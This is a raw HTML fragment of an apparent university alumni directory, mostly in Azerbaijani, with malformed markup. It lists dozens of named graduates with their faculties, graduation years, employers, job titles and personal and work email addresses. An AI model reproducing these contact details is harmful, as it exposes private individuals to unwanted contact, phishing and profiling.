href=\"mailto:narmingumbatova@gmail.com\">narmingumbatova@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"mailto:narmingumbatova@gmail.com\"></a></p></td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Natiq_Heyd%C9%99rov.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Natiq Heydərov&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hüquq fakültəsi, Beynəlxalq Hüquq ixtisası&nbsp;</p><p>Azərbaycan Respublikasının İqtisadiyyat Nazirliyinin Sahibkarlığını inkişafı siyasəti şöbəsinin böyük məsləhətçisi</p><p>E-mail:&nbsp;<a href=\"mailto:natig5555@yahoo.com\">natig5555@yahoo.com</a>;&nbsp; <a href=\"mailto:Natiq.heydarov@economy.gov.az\">Natiq.heydarov@economy.gov.az</a></p><p>2009</p></td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Faig%20Fatullayev.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Faiq Fətullayev</strong></p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İqtisadiyyat və Menecment Fakültəsi/Biznesin İdarə Edilməsi (MBA)</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mühasibat uçotu və audit</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Auditor/KPMG&nbsp;</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<strong>&nbsp;&nbsp;<a href=\"mailto:faig.fatullayev@gmail.com\">faig.fatullayev@gmail.com</a></strong></p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong><a href=\"mailto:faig.fatullayev@gmail.com\"></a></strong>MBA 2016 (Fərqlənmə)</p></td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Ramila_Karimova.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p><strong>Ramila Karimova</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Humanitar və Sosial Elmlər&nbsp;fakültəsi,&nbsp;Beynelxalq Münasibetler  </p><p>Azerbaycan Respublikasinin Merkezi Banki, Beynelxalq emekdasliq ve kommunikasiya departamenti, Mütexessis</p><p>E-mail:&nbsp;<a href=\"http://yahoo.com/\">&nbsp;ramilekerim5@yahoo.com</a><a href=\"http://yahoo.com/\"></a></p><p>Bakalavr&nbsp;2010&nbsp;</p></td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Vugar%20Omarov.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Vüqar Ömərov</strong></p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İqtisadiyyat və Menecment Fakültəsi</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Beynəlxalq İqtisadi Münasibətlər</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Global Trading Company LLC/</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:vugar.omarov@gmail.com\">vugar.omarov@gmail.com</a>&nbsp;,<a href=\"mailto:vugar.omarov@akkord.az\">vugar.omarov@akkord.az</a></p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr 2006</p></td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Peyman_Almasov.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Peyman Almasov&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Humanitar və Sosial Elmlər fakultəsi,&nbsp;Regionşünaslıq</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Qafqaz Universiteti, Lecturer&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><a href=\"mailto:peymanalmas@gmail.com\"></a>E-mail:&nbsp;<a href=\"mailto:peymanalmas@gmail.com\">peymanalmas@gmail.com</a>&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">2011&nbsp;</p></td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Yashar.JPG\" style=\"width:150px;height:200px;float:left\"></td><td><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Yaşar&nbsp;Həsənov&nbsp;</strong>  <br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">School of&nbsp;Economics and Management,&nbsp;Finance&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Global Financial Template (GFT) Data Lead BP&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">E-mail:&nbsp;<a href=\"mailto:hassym@bp.com\">hassym@bp.com</a>&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Bachelor -&nbsp;2004&nbsp;</p></td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Ulfane_Tagiyeva.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Ulfanə Tağıyeva</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Təhsil fakültəsi,&nbsp;Azərbaycan dili və Ədəbiyyatı  <br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">\"Azerbaycan Demir Yollari\"QSC \"Fovqelade Hallar Qatari\"MMC -de muhasib</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">E-mail:<a href=\"mailto:Ulfane.tagiyeva@mail.ru\">Ulfane.tagiyeva@mail.ru</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr 2010</p></td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Metin_Esger.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p><strong>Mətin Əsgər&nbsp;</strong><br></p><p>Hüquq&nbsp;və Sosial Elmlər&nbsp;fakültəsi,&nbsp;Beynəlxalq Hüquq ixtisası&nbsp;</p><p>Bakı Hüquq Mərkəzi - baş hüquqşünas  <br></p><p><a href=\"mailto:asgermetin@yahoo.com\"></a>E-mail:  <a href=\"mailto:asgermetin@yahoo.com\">asgermetin@yahoo.com</a>&nbsp;  <br></p><p>2005  <br></p></td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Sona%20Dadashova.png\" style=\"width:150px;height:200px;float:left\"></td><td><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Sona Dadaşova</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Humanitar və Sosial Elmlər fakultəsi,  <br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Filologiya fakultesi: Ingilis dili ve edebiyyat, Fars dili</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">ADA Universitetinde Telebe qebul shobesinde</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:sdadashova@ada.edu.az\">sdadashova@ada.edu.az</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">2004</p></td></tr>\r\n <tr>\r\n  <td width=\"180\" style=\"\" width:135.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:12.6pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;<img src=\"/files/alumni/images/shahab_kateb.jpg\" style=\"border:0px  #000000;width:150px;height:200px;float:left\"></p>\r\n  </td>\r\n  <td width=\"468\" style=\"\" width:351.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:12.6pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>Shahab Kateb</strong></p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Petroleum Engineering and Managemnet, Petroleum Engineer</p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">MIllennum ENergy Co.&nbsp; General Manager ( Petrolem Industry and\r\n  Porcumet on Petrochemical and Oil Industry )</p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">E-mail: <a href=\"mailto:Shahab.Kateb@gmail.com\">Shahab.Kateb@gmail.com</a>\r\n  / <a href=\"mailto:shahab.kateb@millenniumenergyco.com\">shahab.kateb@millenniumenergyco.com</a></p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">2012</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"180\" style=\"\" width:135.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:13.5pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;<img src=\"/files/alumni/images/rustamova_(qiyasova)_aytan.png\" style=\"width:150px;height:200px;float:left\"></p>\r\n  </td>\r\n  <td width=\"468\" style=\"\" width:351.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:13.5pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>Aytən Rüstəmova (Qiyasova) </strong></p><p>School of Economics and Management</p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">MBA\r\n  International Business</p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Avropa Yenidənqurma\r\n  və İnkişaf Bankı. Baş Bankir</p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">E-mail: <a href=\"mailto:ayten_giyas@hotmail.com\">ayten_giyas@hotmail.com</a>; <a href=\"mailto:rustamoa@ebrd.com\">rustamoa@ebrd.com</a>&nbsp;</p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">2007</p>\r\n  </td>\r\n </tr><tr><td>&nbsp;<img src=\"/files/alumni/images/elnur-atayev.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Elnur Atayev</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Humanitar və Sosial Elmlər fakültəsi, Politologiya</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Sabirabad regional \"ASAN xidmət\" mərkəzi - Kadr və təlim işləri üzrə məsul şəxs</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">E-mail:&nbsp;<a href=\"mailto:elnur.atayev@gmail.com\">elnur.atayev@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">2013</p></td></tr>\r\n <tr>\r\n  <td width=\"180\" style=\"\" width:135.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:12.6pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;<img src=\"/files/alumni/images/nigar_cabbarova.jpg\" style=\"width:150px;height:200px;float:left\"></p>\r\n  </td>\r\n  <td width=\"468\" style=\"\" width:351.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:12.6pt\";vertical-align:top\"=\"\">\r\n  <p><span style=\"font-size:12.0pt\"><strong>Nigar\r\nCabbarova</strong></span></p><p>Iqtisadiyyat\r\nvə Menecment fakültəsi</p>\r\n<p>MBA, 2015</p>\r\n<p>Mühasibat\r\nuçotu və audit</p>\r\n<p>Bank\r\nof Baku – Rəqəmsal bankçılıq və Layihələrin İdarə Edilməsi Departamenti,\r\nekspert</p>\r\n<p><a href=\"mailto:nigarjabbarova@hotmail.com\">nigarjabbarova@hotmail.com</a> ; <a href=\"mailto:nscabbarova@bankofbaku.com\">nscabbarova@bankofbaku.com</a></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"180\" style=\"\" width:135.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:11.1pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;<img src=\"/files/alumni/images/nicat_rustamov.jpg\" style=\"width:150px;height:200px;float:left\"></p>\r\n  </td>\r\n  <td width=\"468\" style=\"\" width:351.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:11.1pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>Nicat Rüstəmov</strong></p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Humanitar və Sosial Elmlər fakültəsi, Politologiya  </p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Az-Granata MMC, Təchizat üzrə mütəxəsis</p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">E-mail: <a href=\"mailto:strabon89@mail.ru\">strabon89@mail.ru</a>&nbsp;</p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">2012</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"180\" style=\"\" width:135.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:13.35pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;<img src=\"/files/alumni/images/eldar_hamidov.jpg\" style=\"width:150px;height:200px;float:left\"></p>\r\n  </td>\r\n  <td width=\"468\" style=\"\" width:351.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:13.35pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>Eldar\r\n  Hamidov</strong></p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Deputy Chairman<br>\r\n  JSC “Bank of Baku”</p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Email: <a href=\"mailto:EEHamidov@bankofbaku.com\">EEHamidov@bankofbaku.com</a></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"180\" style=\"\" width:135.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:11.1pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;<img src=\"/files/alumni/images/AbdulAli_Aliyev.png\" style=\"width:150px;height:200px;float:left\"></p>\r\n  </td>\r\n  <td width=\"468\" style=\"\" width:351.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:11.1pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span lang=\"RU\" style=\"font-family:Arial, sans-serif;color:#252525\">Əbdüləli Əliyev</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">HUAWAI (Çin şirkəti)</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:abdulalialiyev@outlook.com\">abdulalialiyev@outlook.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2015</p>\r\n  </td>\r\n </tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Bilqeys_Alekberli..jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\"><span style=\"box-sizing:border-box;font-weight:bold\">Bilgeys&nbsp; Alekberli</span></p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\">Maliyyə</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\">E-mail:&nbsp;<a href=\"mailto:bilqeys_alekberli@yahoo.com\">bilqeys_alekberli@yahoo.com</a></p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\">Bakalavr 2016&nbsp; (Fərqlənmə)</p></td></tr>\r\n <tr>\r\n  <td width=\"180\" style=\"\" width:135.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:10.5pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;<img src=\"/files/alumni/images/anar_mammadov.jpg\" style=\"width:150px;height:200px;float:left\"></p>\r\n  </td>\r\n  <td width=\"468\" style=\"\" width:351.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:10.5pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>Anar Məmmədov</strong></p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Humanitar və Sosial Elmlər fakültəsi,   Regionşünaslıq</p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Nivelsoft şirketi IT Manager&nbsp;</p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">E-mail: <a href=\"mailto:Anar.Mammadov3@gmail.com\">Anar.Mammadov3@gmail.com</a></p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">2014</p>\r\n  </td>\r\n </tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Yasemen_Qadirova.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Yasəmən Qadirova</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">English Teaching</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Gold Language Teaching Center, İs Alyans</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:jasminkhazar@yahoo.com\">jasminkhazar@yahoo.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr 2015</p></td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/ruslan_salahov..png\" style=\"float:left;width:150px;height:200px\"></td><td><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\"><strong>Ruslan Salahov</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\"><strong></strong>Humanitar və Sosial Elmlər fakültəsi,</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\">Politologiya</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\">E-mail:<a href=\"mailto:ruslan.salahov1@mail.ru\">ruslan.salahov1@mail.ru</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\">Bakalavr 2015</p></td></tr>\r\n <tr>\r\n  <td width=\"180\" style=\"\" width:135.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:71.5pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;<img src=\"/files/alumni/images/obiageli_okafor.jpg\" style=\"width:150px;height:200px;float:left\"></p>\r\n  </td>\r\n  <td width=\"468\" style=\"\" width:351.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:71.5pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Obiageli Okafor</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Tibb fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Klinik yardım mütəxəssisi. FHI 360, Lagos, Nigeria</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:writeoby@gmail.com\">writeoby@gmail.com</a>&nbsp;,<a href=\"mailto:obo021@mail.harvard.edu\">obo021@mail.harvard.edu</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">2008</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"180\" style=\"\" width:135.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:11.1pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;<img src=\"/files/alumni/images/Vahid_Huseynov.jpg\" style=\"width:150px;height:200px;float:left\"></p>\r\n  </td>\r\n  <td width=\"468\" style=\"\" width:351.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:11.1pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>Vahid\r\n  Hüseynov</strong></p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Humanitar və Sosial Elmlər fakultəsi, Tərcümə (eng-arab)</p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal;background:white\"\"=\"\">Şahdəniz 2 layihəsi, Sangaçal Terminal-Sahə Rəisi</p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">E-mail: <a href=\"mailto:vahid.huseynov@gmail.com\">vahid.huseynov@gmail.com</a></p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Bakalavr  2013</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"180\" style=\"\" width:135.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 